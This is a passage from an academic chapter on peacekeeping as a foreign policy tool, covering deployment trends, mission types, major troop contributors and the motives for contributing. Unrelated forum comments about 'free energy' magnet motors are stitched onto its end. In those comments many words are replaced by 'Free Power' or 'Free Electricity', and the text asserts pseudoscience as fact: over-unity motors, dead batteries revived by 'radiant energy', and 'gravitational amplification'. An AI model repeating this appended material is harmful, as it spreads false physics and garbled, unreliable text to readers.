and equipment, and cover the associated costs (Tardy, 2013). Personnel contributions, which include military, police, and civilian personnel, are voluntary for both UN and non-UN missions. For UN missions, though, contributing countries are compensated at a rate of more than$1,332 per peacekeeper per month (United Nations, 2017e). Hence, UN compensation can imply that some countries with low costs for their troops can even earn money by sending them to UN missions.
Figure 2 presents the yearly number of UN and non-UN peacekeepers. Until 1956, few peacekeepers—merely military observers—were deployed. This changed with the Suez Crisis and the launch of the First United Nations Emergency Force in November 1956, as well as the Organization of American States’ (OAS) Inter-American Peace Force in the Dominican Republic. Thereafter, the average number of deployed peacekeepers settled at approximately 22,000 per year until the end of the Cold War. Corresponding to the rise in peacekeeping missions, the amount of deployed peacekeeping personnel rose sharply in the 1990s, with a high point of almost 70,000 UN personnel in 1993/1994 and 150,000 non-UN personnel in 1995/1996.4 Since 2000, another surge in deployed peacekeeping forces has arisen. UN deployments reached an all-time high of 106,830 peacekeepers in 2015 and non-UN peacekeeping reached a maximum of more than 250,000 in 2004. The non-UN numbers are predominantly driven by NATO’s International Security Assistance Force (ISAF) in Afghanistan (December 2001–2014) with a size of approximately 130,000.
Apart from the personnel burden, peacekeeping operations also involve enormous financial burdens to cover personnel costs (e.g., military, police, and civilian personnel), equipment, logistics, infrastructure, communication, and medical expenses. UN peacekeeping spending rose tenfold from an annual average of $208.5 million in the 1980s to$3.5 billion in the 1990s, and increased again to $8 billion in 2016/2017 (Khanna, Sandler, & Shimizu, 1999, p. 345; United Nations, 2017e). Non-UN peacekeeping missions cost$121.591 billion for the period from 1994 to 2006 (Gaibulloev, Sandler, & Shimizu, 2009, p. 828).5 Given that all personnel contributions and non-UN financial contributions to peacekeeping operations are voluntary, these figures suggest that countries have identified an increased relevance and value of peacekeeping for their policy goals.
Transformation of peacekeeping since the late 1980s was not only quantitative but also qualitative in form (United Nations Secretary-General, 1995, p. 3). Peacekeeping as a tool to manage armed conflict has continuously evolved and adapted to respond to new crises in the most effective and appropriate way possible. As a result, peacekeeping operations have become more complex, encompassing a broad spectrum of configurations and functions. They have evolved into an instrument that countries can and do apply to an ever greater scope of foreign policy goals.
The evolution of peacekeeping is often described in terms of generations, representing different types of peacekeeping operations. Scholars have differed in the number of categories they have ascribed to peacekeeping. Goulding (1993), for instance, presented five types: (a) preventive deployment, (b) traditional peacekeeping, (c) operations to implement a comprehensive settlement, (d) operations to protect the delivery of humanitarian relief supplies, and (e) deployment of a UN force in a country where the institutions of state have largely collapsed. Bellamy, Williams, and Griffin (2010) offer seven types, and Diehl, Druckman, and Wall (1998) even offer 12 types. These types highlight different functions and goals of peacekeeping. To summarize this concisely, Figure 3 classifies all UN peacekeeping operations up to 2016 into three peacekeeping types. For each year from 1948 to 2016, the proportion of traditional peacekeeping, multidimensional peacekeeping, and peace enforcement is depicted. While these types are not chronological, more complex missions have proliferated since the end of the Cold War.
Traditional peacekeeping is narrow in scope and range of activities. The focus lies on the monitoring of borders and establishment of buffer zones following ceasefire agreements with the goal to create an environment facilitating efforts of peaceful conflict resolution. The First UN Emergency Force (UNEF I), established in November 1956 and active until June 1967, was a traditional peacekeeping operation and the first of its kind. The mission was established to secure and supervise the end of the Suez Crisis, including the withdrawal of the armed forces of the United Kingdom, Israel, and France from Egypt, as well as the establishment of a buffer between Egyptian and Israeli forces. In establishing UNEF I, UN Secretary-General Dag Hammarskjold and UN General Assembly President Lester Pearson defined the three core principles of peacekeeping: (a) consent of the conflicting parties, (b) impartiality, and (c) minimum use of force (for self-defense). These principles have long been the standard of legitimacy guiding and defining (UN) peacekeeping as a tool for promoting international peace and security; they underlie traditional peacekeeping operations and guide other types of peacekeeping. However, more recent peacekeeping experiences, particularly from some peacekeeping operations in the 1990s, have shown that these principles sometimes conflict with peacekeeping demands as well as operational effectiveness. The international community has learned that, under certain conditions, actions compromising consent are necessary, it may be necessary to take sides against a party that endangers the operation, and the use of force may be required to protect the mission’s objectives or humanitarian victims (see Lipson, 2007). Multidimensional peacekeeping and particularly peace enforcement embody these realizations.
Multidimensional peacekeeping gained prominence amid the shifting international context of the late 1980s into the early 1990s. This period saw the rise in intrastate wars while, freed from its previous rivalry, the Security Council could authorize more complex missions with expanded mandates to meet the additional demands of these new wars. The missions in Cambodia (UNACMI, 1991–1992; UNTAC, 1992–1993), Bosnia (UNPROFOR, 1992–1995), and Somalia (UNOSOM I, 1992–1992) differed qualitatively from earlier operations, merging humanitarian aid and state-building programs with traditional peacekeeping tasks. The objectives of multidimensional peacekeeping operations are to promote the implementation of comprehensive peace agreements and to assist in building a sustainable peace. With this wider range of objectives, peacekeeping operations became multifunctional, including security, humanitarian, and political goals, and thus enhancing the applicability of peacekeeping as a tool of foreign policy. The tasks typically added to traditional mission mandates include humanitarian assistance; monitoring human rights; the disarmament, demobilization, and reintegration of former combatants (DDR); repatriation of refugees; liberal democratic assistance policies to facilitate, support and supervise elections, the rule of law, and legitimate and effective governance institution. The growing list of tasks was captured in the 1995 Supplement to an Agenda for Peace (United Nations Secretary-General, 1995, p. 6).
Peace enforcement refers to missions characterized by an increased license to use force and are typically authorized under Chapter VII of the UN Charter. This authorization has profound effects on the three core principles of peacekeeping; enforcement missions do not necessarily require the consent of the conflict parties and, while they try to be impartial in dealing with the involved parties, it may be necessary to use force against one or more of them to safeguard the objectives of the mission and to impose peace. Peace enforcement missions usually feature a range of responsibilities consonant with multidimensional peacekeeping operations. Notable UN peace enforcement missions include the UN Protection Force in Bosnia and Herzegovina (UNPROFOR, 1992–1995), the UN Mission in Sierra Leone (UNAMSIL, 1998–1999), and the UN Transitional Administration in East Timor (UNTAET, 1999–2002). Many peace enforcement missions, though, are not carried out by the United Nations but by regional organizations or ad hoc coalitions, especially if they are so-called “humanitarian interventions” focusing predominantly on human rights. Emblematic for these peace enforcement missions were NATO’s involvements in former Yugoslavia, particularly in Kosovo (KFOR, 1999–2017 and beyond). Another example is the Australian-led International Force for East Timor (INTERFET, 1999–2000). These missions are often temporally limited and aim to create a peaceful environment in which the United Nations can carry out civilian activities.
The quantitative and qualitative changes of peacekeeping were accompanied by shifts in the composition of the main contributing countries. Again, in most instances, countries can decide whether and how much they want to contribute to peacekeeping operations; particularly personnel contributions are voluntary across all organizations conducting peacekeeping missions. Countries can hence strategically instrumentalize peacekeeping contributions as a tool to advance their security and foreign policy goals. Shifts in patterns of peacekeeping engagement offer valuable insights into the motivations for peacekeeping contributions and changing foreign policy priorities. Table 1 presents these shifts among the largest personnel contributors, including military, police, and civilian personnel, to UN peacekeeping missions from 1990 to 2016.8
During the Cold War period, peacekeeping operations were dominated by Western middle powers, such as Australia, Canada, Norway, and Sweden. While the superpowers of this period disengaged from peacekeeping efforts to keep their tensions and interests out of the “impartial” peacekeeping operations, middle powers hoped that by participating, they received special recognition for their engagement and thereby enhanced their standing in the international system (see Cooper, 1997; Maloney, 2001). This arrangement continued until the early 1990s, as can be seen in Table 1. In 1990 and 1991, Canada, Finland, Norway, and Austria were among the three largest contributors. The end of the Cold War also enabled the permanent members of the UN Security Council to send personnel to peacekeeping operations, as done by France, the United Kingdom, and the United States in 1992–1995. France’s high ranking in 1992/1993 was driven by their contribution of up to 5,700 troops to the UN Protection Force (UNPROFOR) in Croatia; and the U.S. top position in 1995 was driven by their contribution of 2,226 troops to the UN Mission in Haiti (UNMIH). Since then, non-Western states have become the main personnel contributors to UN peacekeeping missions. The list of prominent non-Western donors include not only Pakistan, Bangladesh, and India but also Nigeria in the early 2000s, and later Ethiopia. From 2000 to 2014 Pakistan, Bangladesh, and India remained the top three contributors of UN personnel. Pakistan contributed around 4,000 troops to the UN Mission in Sierra Leone (UNAMSIL, 1999–2006), thereafter around 3,500 each to the UN Mission in Liberia (UNMIL, 2003–2016) and the UN Mission in the Democratic Republic of Congo (MONUC, 1999–2010), later known as the United Nations Organization Stabilization Mission in the Democratic Republic of Congo (MONUSCO, 2011–2017 and beyond). Similarly, Bangladesh focused its contribution on UNAMSIL, UNMIL, and the UN Operation in Côte d’Ivoire (UNOCI, 2004–2017 and beyond); and India on the UN Mission in Ethiopia and Eritrea (UNMEE, 2000–2008), MONUC/MONUSCO, and the UN Mission in Sudan (UNMIS, 2005–2011), whose equipment and personnel was then transferred to UN Mission in South Sudan (UNMISS, 2011–2017 and beyond). The rising peacekeeping contributions of these non-Western countries are often explained by referring to the positional or status gains expected from participation in such activities (see Krishnasamy, 2001; Kammler, 1997). Another line of argument suggests that particularly developing states such as Bangladesh contribute to UN peacekeeping to receive the financial compensation provided by the United Nations and may actually generate profit by providing peacekeepers (see Victor, 2010; Lebovic, 2010).
#### Table 1. Largest troop contributors to UN peacekeeping operations, 1990–20169
Year (as of December)
1. Largest (Total) Contributor
2. Largest (Total) Contributor
3. Largest (Total) Contributor
1990
Finland (992)
Austria (967)
1991
Finland (1,006)
Norway (973)
Austria (967)
1992
France (6,502)
United Kingdom (3,819)
1993
France (6,370)
India (5,902)
Pakistan (5,089)
1994
Pakistan (9,110)
France (5,149)
1995
United States (2,851)
India (2,078)
1996
Pakistan (1,712)
Zimbabwe (1,445)
India (1,211)
1997
Poland (1,084)
Austria (831)
1998
Poland (1,053)
India (927)
1999
India (1,898)
Ghana (1,711)
Nigeria (1,606)
2000
Nigeria (3,525)
India (2,738)
2001
Pakistan (5,552)
Nigeria (3,468)
2002
Pakistan (4,677)
Nigeria (3,277)
2003
Pakistan (6,248)
Nigeria (3,361)
2004
Pakistan (8,140)
India (3,912)
2005
Pakistan (8,999)
India (7,284)
2006
Pakistan (9,867)
India (9,483)
2007
Pakistan (10,610)
India (9,357)
2008
Pakistan (11,135)
India (8,693)
2009
Pakistan (10,764)
India (8,756)
2010
Pakistan (10,652)
India (8,691)
2011
Pakistan (9,416)
India (8,115)
2012
Pakistan (8,967)
India (7,839)
2013
Pakistan (8,266)
India (7,849)
2014
India (8,138)
Pakistan (7,936)
2015
Ethiopia (8,296)
India (7,798)
2016
Ethiopia (8,295)
India (7,710)
Pakistan (7,156)
Participating countries do not contribute evenly across peacekeeping missions. In principle, and if peacekeeping were independent from contributor-specific interests or foreign policy goals, one would expect an even contribution of peacekeeping resources to all regions of the world. Contributors, however, appear to have greater interest in certain regions than others, depending on their foreign policy priorities. Figure 4 shows Europe’s share of personnel contributions to UN peacekeeping operations grouped by the regions receiving the peacekeeping mission. Here, two interesting observations can be made. First, in line with the discussion of Table 1, Europe’s total share in peacekeeping has been in decline since 1990. While Europe provided more than 60% of all peacekeepers in 1990 and 1991, its share was only between 6% and 7% in the 2010s. Second, Europe continuously over- and undercontributes to certain regions. For instance, Europe’s share of contributions to peacekeeping operations on the African continent always lies below its worldwide average, providing between 40% (1991) and 1% (2010–2012) of all peacekeepers in Africa. This proportion stands in contrast to its high contributions to missions in the Middle East (between 65% in 1990 and 35% in 2015–2016) as well as missions in Europe (between 40% in 2002–2004 and 93% in 2016).10 Most notable among European contributions to peacekeeping operations in the Middle East are those to the UN Interim Force in Lebanon (UNFIL), the UN Peacekeeping Force in Cyprus (UNFICYP), and the UN Disengagement Observation Force (UNDOF) in the Golan Heights. All of these missions are located in or around the Mediterranean Sea—the European neighborhood—which suggests that European participation in peacekeeping operations is driven by the conflict’s proximity to their own territory. This observation is in line with the Global Strategy for the European Union's Foreign and Security Policy and the European Neighborhood Policy (ENP), through which EU member states work with their Southern and Eastern neighbors to promote security, stabilization, and prosperity.
Similar observations of uneven distributions of peacekeepers can be seen in Asia’s share of contributions to UN peacekeeping operations (Figure 5). In this case, Asia undersupplies missions in the Middle East but usually oversupplies missions in Asia and Africa, compared to its worldwide share. The relative contribution to peacekeeping operations located in Asia is exceptionally volatile, which can be attributed to fluctuating absolute numbers of missions and peacekeepers deployed in the region. The years in which Asia’s share of contributions to peacekeeping operations within its own region dips below its worldwide average tend to be those years with a low overall number of missions and peacekeepers. For instance, only around 60 observers and civilian personnel were deployed in Asia, specifically Afghanistan (UNAMA) and Pakistan (UNMOGIP), between 2012 and 2016; and only 44 observers were deployed there in 1993, also in Pakistan (UNMOGIP). Asia’s high level of engagement in peacekeeping operations located in Africa can be attributed to Pakistan, India, and Bangladesh—the three major contributors to UN peacekeeping operations discussed previously.
### Foreign Policy Motivations for Peacekeeping Contributions
The previous section showed that the usage, relevance, and scope of peacekeeping have increased greatly since the late 1980s. The international community in general and individual countries specifically have instrumentalized peacekeeping as a tool that can address threats and conflicts in a changed and changing security landscape. To further understand this tool, the motivations for countries to engage in peacekeeping must be considered. As the discussion shows, these motivations are typically part of a country’s foreign policy agenda.
An increasing literature studying the supply side of peacekeeping has developed in recent years. These contributions offer a broad range of arguments for why countries contribute to peacekeeping operations, referencing themes connected to realism, liberalism, alliance politics, or domestic politics. In this context, the predominant question is what type of goods or set of benefits states can obtain for participating in peacekeeping. Peacekeeping can resemble a public good, a private good, or a combination of both—so-called joint products. A public good is a good or benefit that is nonrival among nations and nonexcludable to noncontributors and, thus, available to everybody, regardless of whether they have shared the cost of providing it. A private good, on the other hand, is rival and excludable and is only available to those who have born the costs (see Samuelson, 1954; Olson, 1965). From the perspective of the public good model, peacekeeping efforts to increase international peace and security benefit all countries. The end of a conflict and increased stability not only favor the contributors to the peacekeeping mission but also promote the security of noncontributing countries. Characterizing peacekeeping as public good has profound implications because it implies that the provision of peacekeeping is inevitably affected by the collective action problem, which is related to the property of nonexcludability (Olson, 1965). This not only leads to free riding but also can result in chronic or persistent undersupply of peacekeeping missions and peacekeepers. This line of argument and the focus on the public nature of peacekeeping is prominently pursued by Sanders and colleagues (e.g., Khanna, Sandler, & Shimizu, 1998; Khanna, Sandler, & Shimizu, 1999; Shimizu & Sandler, 2002; Gaibulloev, Sandler, & Shimizu, 2009; Gaibulloev, George, Sandler, & Shimizu, 2015). Yet, the public nature of peacekeeping’s ultimate aim of international peace and security does not keep countries from prioritizing this objective among their foreign policy goals. India, as seen in Table 1, is one of the main contributors to UN peacekeeping; this country even lists the “[p]romotion of international peace and security” among its core principles of state policy according to its 1949 Constitution. Article 51 reads that “[t]he State shall endeavour to (a) promote international peace and security; (b) maintain just and honourable relations between nations; (c) foster respect for international law and treaty obligations in the dealings of organised peoples with one another; and (d) encourage settlement of international disputes by arbitration.”
Many other scholars engaging in this field of study demonstrate that peacekeeping activities not only yield public but also private benefits. The private good model highlights rivalrous and excludable country-specific benefits that motivate countries to contribute to peacekeeping operations and use them to achieve their foreign and security policy goals. Realist accounts focus on national self-interest to explain contributions to peacekeeping. As Findlay (1996, p. 8) put it: states participate in peacekeeping operations because it is “decidedly in their national security interests.” One of these national security and foreign policy goals is greater or wider influence in shaping the international system. So-called middle powers are said to have an interest in the continuation of the international status quo and choose to dominate UN peacekeeping, which they consider an established tool of the international community (Neack, 1995). Examples include Canada, Sweden, or Australia during the Cold War period, and India or Pakistan who have dominated UN peacekeeping more recently. Another widespread perception is that peacekeeping is a positional or status good. Participation in peacekeeping enhances a country’s prestige and standing in the international community, which it can then use to foster some of its foreign policy goals. It is argued that India, for instance, tries to strengthen its international status and power base by contributing to peacekeeping, hoping to get closer to its goal of becoming a “great” power and eventually obtaining a permanent seat in the UN Security Council (Krishnasamy, 2001, 2003a). Another example is Pakistan, whose peacekeeping participation is associated with its goal to strengthen its international image, reduce its isolation, and become more attractive to the international community—including the international economic and development funding that comes with it (Krishnasamy, 2001). Similarly, Bangladesh hopes to attract foreign aid and international support for its economy (Krishnasamy, 2003b). Because a peacekeeping operation is located in a certain region, private, contributor-specific benefits are often present for countries nearby or with special interest in it. Countries located nearest the conflict region face the highest threat of conflict diffusion and may experience a decrease of their own security and stability. The European Union, for instance, follows the foreign policy goal of fostering stability, security, and prosperity in its neighborhood. The peacekeeping operations in the Balkans in the 1990s and early 2000s—first conducted via NATO, later through the European Union with EUFOR Concordia in the Republic of Macedonia and EUFOR Althea in Bosnia and Herzegovina—are examples for how European countries tried to stabilize their own neighborhood and periphery. The EU has adopted their European Neighborhood Policy as a foreign policy instrument to bring Europe and its neighbors closer together and increase stability in the region. Another factor related to conflict proximity is an influx in refugees, which is often linked with negative economic and social effects (see Uzonyi, 2015). U.S. President Bill Clinton, for instance, invoked the need to stop refugee flows when he explained his decision to engage in peacekeeping in Haiti in 1994: “[. . .] [W]hen brutality occurs close to our shores, it affects our national interests. [. . .] Thousands of Haitians have already fled toward the United States, risking their lives to escape the reign of terror. As long as Cedras rules, Haitians will continue to seek sanctuary in our Nation. [. . .] The American people have already expended almost \$200 million to support them [. . .] [a]nd the prospect of millions and millions more being spent every month for an indefinite period of time loom ahead unless we act.” Further foreign policy goals mentioned in the literature in relation to peacekeeping operations include economic considerations, such as trade interests, the protection of foreign direct investment, and the elimination of economic disruptions (Gaibulloev, Sandler, & Shimizu, 2009); or alliance considerations, such as the alliance security dilemma with the related fears of abandonment and entrapment (Snyder, 1984; Bennett, Lepgold, & Unger, 1994), or the finding that countries prefer to deploy troops alongside allies with similar foreign policy preferences (Ward & Dorussen, 2016). Regarding the latter, countries hope to cooperate with well trained, disciplined troops, to promote common norms, and to facilitate domestic support if allies join in (Ward & Dorussen, 2016, p. 393). To provide an overview, Table 2 summarizes these and other relevant foreign policy-related motives for contributions to peacekeeping operations.
#### Table 2. Foreign policy-related motives for contributions to peacekeeping operations as presented in the scholarly literature
Foreign policy-related rationales
Author(s)
Maintain international peace and security
Gaibulloev, George, Sandler, and Shimizu (2015)
Gaibulloev, Sandler, and Shimizu (2009)
Khanna, Sandler, and Shimizu (1998)
Khanna, Sandler, and Shimizu (1999)
Shimizu and Sandler (2002)
Export democratic and humanitarian principles
Lebovic (2004)
Pevehouse (2002)
Influence the order of the international system
Neack (1995)
Thakur (1980)
Enhance prestige, position, and power base in the international system
Beswick (2010)
Brysk (2009)
Bullion (1997)
Findlay (1996)
Hayes (1997)
Kammler (1997)
Krishnasamy (2001)
Krishnasamy (2003a)
Krishnasamy (2003b)
Threat of conflict diffusion to own territory
Auerswald (2004)
Baltrusaitis (2008)
Bennett, Lepgold, and Unger (1994)
Bennett, Lepgold, and Unger (1996)
Bove and Elia (2011)
Gaibulloev, Sandler, and Shimizu (2009)
Refugee flows from conflict to own territory
Uzonyi (2015)
Gaibulloev, Sandler, and Shimizu (2009)
Foreign direct investment in conflict region
Gaibulloev, Sandler, and Shimizu (2009)
Alliance considerations
Baltrusaitis (2008)
Bennett, Lepgold, and Unger (1994)
Bennett, Lepgold, and Unger (1996)
Ward and Dorussen (2016)
Military considerations (i.e., internally versus externally oriented security doctrines; occupation and training of military forces; allocation of resources)
Findlay (1996)
Velazquez (2010)
### Conclusion and Open Questions
In this chapter, peacekeeping has been presented as a tool available to governments to pursue their foreign and security policies. Peacekeeping has grown in significance and comprehensiveness since the late 1980s. Empirical trends suggest that the proliferation and increased scope of peacekeeping imply greater significance of peacekeeping operations as a tool of foreign policy. Moreover, changes in the composition of contributing countries could suggest that countries seem to follow their own foreign policy goals and that their polices can shift over time. The previous section reviewed foreign policy motivations for peacekeeping contributions. The scholarly literature identified public and private goods as explanations for countries’ contributions to peacekeeping operations, and particularly private goods are linked to specific foreign policy goals. The existing literature leaves some lingering questions requiring further attention. This chapter concludes by elaborating three substantive research areas in need of academic exploration and by highlighting three methodological challenges that researchers need to investigate further.
The first research area concerns the question of tool choice: Why do countries opt for peacekeeping as a foreign policy tool instead of alternative options? As Peters (2002) argues, the selection of policy tools is inherently political: “political factors and political mobilization affect the initial selection of instruments and the ultimate implementation of policy” (p. 552). Relevant factors influencing tool choice are individual or collective interests, ideas or ideologies, individual actors, institutions, and the international environment (Peters, 2002, pp. 553–559). These factors and the mechanisms through which policy tools, including peacekeeping, are selected differ from country to country, which complicates comprehensive research. However, it is crucial to get a better understanding of these processes to coordinate peacekeeping contributions between countries. Conflict literature on the role of leadership versus institutional limitations (e.g., Chiozza & Goemans, 2011; Horowitz, Stam, & Ellis, 2015), or the role of domestic audience costs (e.g., De Meqsuita, Smith, Siverson, & Morrow, 2005; Weeks, 2014) can provide important insights for this avenue of research.
Second, related to the politics of tool choice is the topic of instrument evaluation. Instrument evaluation usually includes the examination of effectiveness and efficiency, inter alia. Effectiveness measures the degree of success in achieving intended objectives, while efficiency assess the results in relation to the costs. Is peacekeeping an effective and efficient tool? To answer this question, the twofold effect of peacekeeping must be considered: it impacts the conflict dynamics within the receiving country or region and, at the same time, the foreign policy considerations of the contributing country. Some existing studies deal with the former effect and assess whether peacekeeping is effective according to its own goals, for instance whether peacekeeping actually creates lasting peace (see Fortna, 2004) or whether it successfully stops belligerent parties and protects civilians (see Di Salvatore & Ruggeri, 2017). The effectiveness of peacekeeping according to the achievement of a country’s foreign policy goals, however, is understudied. Has a country gained more status or legitimacy through the deployment of peacekeepers? Were the national interests protected thanks to the engagement in a peace operation?
Third, even if the questions of why peacekeeping is chosen as a foreign policy tool and whether it is an effective one are answered, it remains to be understood whether and, if so, why, peacekeeping as tool of foreign policy has changed over time. The scope of peacekeeping has increased with the evolution from traditional peacekeeping operations over multidimensional operations to peace enforcement. Is this change due to learning processes regarding foreign policy tool selection and implementation (see Levy, 1994)? Where did the learning take place? At the international level within international or regional organizations? Or within the countries contributing to peacekeeping operations and their internal bureaucracies and national leaders?
### Notes
• 1. This definition and the following discussion are based on Lester Salamon’s definition of tools of public action (2002, pp. 19–20).
• 2. Some studies have empirically shown how the deployments of peacekeeping operations tend to limit transitional diffusion of conflict (Beardsley, 2011; Beardsley & Gleditsch, 2015). However, systematic studies on the effects of peacekeeping operations on terrorism and refugee flows are lacking.
• 3. Source: UN peacekeeping operations: United Nations (2017f); Non-UN peacekeeping operations: based on Bellamy and Williams (2015), and Williams (2016). Non-UN peacekeeping operations include regional organizations, security alliances, ad hoc coalitions, and individual states.
• 4. The surge in UN peacekeepers was caused by the operations in Cambodia, the former Yugoslavia, and Somalia, while the rise in non-UN peacekeepers can be traced back to NATO’s Implementation and Stabilization Forces (IFOR, 1995–1996; SFOR, 1996–2004) in Bosnia and Herzegovina.
• 5. This number includes the Stabilization Force in Bosnia and Herzegovina, the Kosovo Force in Kosovo, the International Security Assistance Force in Afghanistan, and the Multinational Force in Iraq.
• 6. Source: UN peacekeeping operations: Global Policy Forum (2017) and United Nations (2017g); Non-UN peacekeeping operations: based on Bellamy and Williams (2015), and Williams (2016). An important caveat here is that non-UN data is not as comprehensive as UN data: no within-mission variation is recorded and data for some early non-UN missions are missing.
• 7. Source: Authors’ own coding (based on mission statements).
• 8. The focus on UN data is due to limited data availability for non-UN missions.
• 9. Source: International Peace Institute (2017); calculations done by authors.
• 10. Europe hosted no peacekeeping operations in 1990–1991; a great deployment of troops (up to about 40,000) occurred with the United Nations Protection Force (UNPROFOR) in Croatia during the Yugoslav Wars from February 1992 to March 1995; and since 2009 only around 15 peacekeepers are deployed on in Europe. These nonmilitary personnel are part of the United Nations Interim Administration Mission in Kosovo (UNMIK), which was established in 1999. Most of these few observers and civilian police personnel are from other European countries, as can be seen in Figure 4.
• 11. Source: International Peace Institute (2017); calculations done by authors.
• 12. Source: International Peace Institute (2017); calculations done by authors.
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The device he built vibrated when it ran and you had to spin it to start it but me and him saw it run. Dad was Free Power mechanic and Free Power machinist. He later broke it up so no one would have his idea. I remember how it was made. The motor was amazing. Here’s some more information. Run your motor on Free Electricity volts (Free Electricity X Free Electricity volt batteries, series connection.) Connect another, old , worn out, totally dead battery, in parallel, to the battery that has the positive alligator clip. Place the Positive ‘Run’ cable on this dead battery, start the motor and bring it to maximum RPM and connect the positive alligator clip to the same dead battery. Make sure the electrolyte is full in every cell. After two hours run time, test the battery. If the radiant energy connections were done correctly, the dead battery will run like new. The RA breaks the calcification off the plates and restores the battery to full output and you can use it like Free Power new battery! After you burn the surface charge clean, place Free Power battery tester on the battery. You’ll be pleasantly surprised! Atomic Bomb!?! Wow, there’s Free Power stretch! Let’s take Free Power ton of TNT and use it to split an atom and release the power already in that atom. Here’s my question; Now recycle that energy and explain how? A Magnet Motor is the single most efficient motor available. This is the only motor that starts using Free Power battery, achieves maximum RPM and then recharges and maintains the battery that started it. Radiant energy ! radiant energy is produced at every Hydro-Electric Dam on the planet. They drive Free Power lightening rod in the ground and dispose of it. RE cannot be used with circuitry or Motors, melts circuitry, over-heats and melts motors. Free Electricity regular light bulbs okay, but even they run damn hot! RE is accompanied by AC electricity and that doesn’t help any either.
VHS videos also have some cool mini permanent magnet motors that could quite easily be turned into PMA (permanent magnet alternators). I pulled one apart about Free Power month ago. They are mini versions of the Free Energy and Paykal smart drive washing motors that everyone uses for wind genny alternators. I have used the smart drive motors on hydro electric set ups but not wind. You can wire them to produce AC or DC. Really handy conversion. You can acess the info on how to do it on “the back shed” (google it). They usually go for about Free Electricity Free Power piece on ebay or free at washing machine repairers. The mother boards always blow on that model washing machine and arnt worth repairing. This leaves Free Power good motor in Free Power useless washing machine. I was looking at the bearing design and it seemed flawed with the way it seals grease. Ok for super heavy duty action that it was designed but Free Power bit heavy for the magnet motor. I pried the metal seals out with Free Power screw driver and washed out the grease with kero.
Not Free Power lot to be gained there. I made it clear at the end of it that most people (especially the poorly informed ones – the ones who believe in free energy devices) should discard their preconceived ideas and get out into the real world via the educational route. “It blows my mind to read how so-called educated Free Electricity that Free Power magnet generator/motor/free energy device or conditions are not possible as they would violate the so-called Free Power of thermodynamics or the conservation of energy or another model of Free Power formed law of mans perception what Free Power misinformed statement to make the magnet is full of energy all matter is like atoms!!”
This is because in order for the repulsive force of one magnet to push the Free Energy or moving part past the repulsive force of the next magnet the following magnet would have to be weaker than the first. But then the weaker magnet would not have enough force to push the Free Energy past the second magnet. The energy required to magnetise Free Power permanent magnet is not much at all when compared to the energy that Free Power motor delivers over its lifetime. But that leads people to think that somehow Free Power motor is running off energy stored in magnets from the magnetising process. Magnetising does not put energy into Free Power magnet – it merely aligns the many small magnetic (misaligned and random) fields in the magnetic material. Dear friends, I’m very new to the free energy paradigm & debate. Have just started following it. From what I have gathered in Free Power short time, most of the stuff floating on the net is Free Power hoax/scam. Free Electricity is very enthusiastic(like me) to discover someting exciting.
My older brother explained that in high school physics, they learned that magnetism is not energy at all. Never was, never will be. It’s been shown, proven, and understood to have no exceptions for hundreds of years. Something that O. U. should learn but refuses to. It goes something like this: If I don’t learn the basic laws of physics, I can break them. By the way, we had Free Power lot of fun playing with non working motor anyway, and learned Free Power few things in the process. My brother went on to get his PHD in physics and wound up specializing in magnetism. He designed many of the disk drive plates and electronics in the early (DOS) computers. bnjroo Harvey1 Thanks for the reply! I’m afraid there is an endless list of swindlers and suckers out there. The most common fraud is to show Free Power working permanent magnet motor with no external power source operating. A conventional motor rotating Free Power magnet out of site under the table is all you need to show Free Power “working magnetic motor” on top of the table. How could I know this? Because with all those videos out there, not one person can sell you Free Power working model. Also, not one of these scammers can ever let anyone not related to his scam operate the motor without the scammer hovering around. The believers are victims of something called “Confirmation Bias”. Please read ALL about it on Wiki and let me know what you think and how it could apply here. This trap has ensnared some very smart people. Harvey1 bnjroo Free Energy two books! energy FROM THE VACUUM concepts and principles by Free Power and FREE ENRGY GENERATION circuits and schematics by Bedini-Free Power. Build Free Power window motor which will give you over-unity and it can be built to 8kw which has been created! NOTHING IS IMPOSSIBLE! The only people we need to fear are the US government and the union thugs that try to stop creation. Free Power Free Power has the credentials to create such inventions and Bedini has the visions!
This statement was made by Free Electricity Free Electricity in the Free energy ’s and shattered only five years later when Einstein published his paper on special relativity. The new theories proposed by Einstein challenged the current framework of understanding, forcing the scientific community to open up to an alternate view of the true nature of our reality. This serves as Free Power great example of how things that are taken to be truth can suddenly change to fiction.
In europe their are Free Electricity mpg cars. here their are Free Electricity mpg cars. Free Electricity years ago we had Free Electricity mpg cars that were common. what does that say? dicks with alot of money can and will try at every corner to ensure that they can still make money. meaning buying things that prevent them from making money. anyone with blueprints and ways to make Free Power working example please email me ( [email protected]) i plan on powering my lights with them once i can figure out how. anyone with Free Power working design please send me irrefutable video and simple instructions on how to assemble it. thanks. -tom Hi Liam, You should know that Unicorns really do exist! They exist in the minds of anyone who believes in Free Power realm of existence where beauty and magnificence abound. Everyone should have such Free Power place to escape to when they are perturbed by the stresses of everyday life. Relax! Close your eyes and let your imagination reach out to your favorite fantasy land. Through the mists of times lost to adulthood you may, indeed, see Free Power Unicorn! As for the Magnetic Motor, it was envisioned by Free Power group of unrelated people who believed that such Free Power thing was possible and could be brought into existence. Free Electricity Free Electricity spent many years trying to develop Free Power magnetic motor. Although he failed to build an efficient and powerful yet simple motor, he did give Free Power hint as to how such Free Power motor could be built. Free Electricity said that you must have the correct type of magnets, the correct shape of magnets and the magnets must be positioned correctly. Unfortunately, Free Electricity only managed to get the correct type of magnets. He didn’t get the shape correct and he certainly didn’t place his magnets correctly. Back to the point of why Free Electricity Free Electricity failed; if he had known how to block the side-field flux of his magnets and he had used Free Power different shape of magnets, he probably would have achieved the success he desired. However, Free Electricity had only one design firmly emplanted in his mind and he was determined to make it work. His mind was poisoned by the success he had in making his linear motor work well enough to push Free Power toy car on Free Power rail. He did get Free Power “push” but he got no power. So, he was doomed to failure when he applied the linear motor principle to Free Power rotary motor. This is “Gravity-Piston Impulse Kinetic Power Technology”. Its like releasing Free Power heavy ball over Free Power small light weight ball at some distance from earth surface in vacuum. This means without any considerable reduction of speed of bigger ball travelling towards ground, the smaller balls get extra energy due to gravitational amplification. Well my engine works on Free Power similar principle. In other words , it works on the principle of Gravitational Amplification. ”
No “boing, boing” … What I am finding is that the abrupt stopping and restarting requires more energy than the magnets can provide. They cannot overcome this. So what I have been trying to do is to use Free Power circular, non-stop motion to accomplish the attraction/repulsion… whadda ya think? If anyone wants to know how to make one, contact me. It’s not free energy to make Free Power permanent magnet motor, without Free Power power source. The magnets only have to be arranged at an imbalanced state. They will always try to seek equilibrium, but won’t be able to. The magnets don’t produce the energy , they only direct it. Think, repeating decimal…..
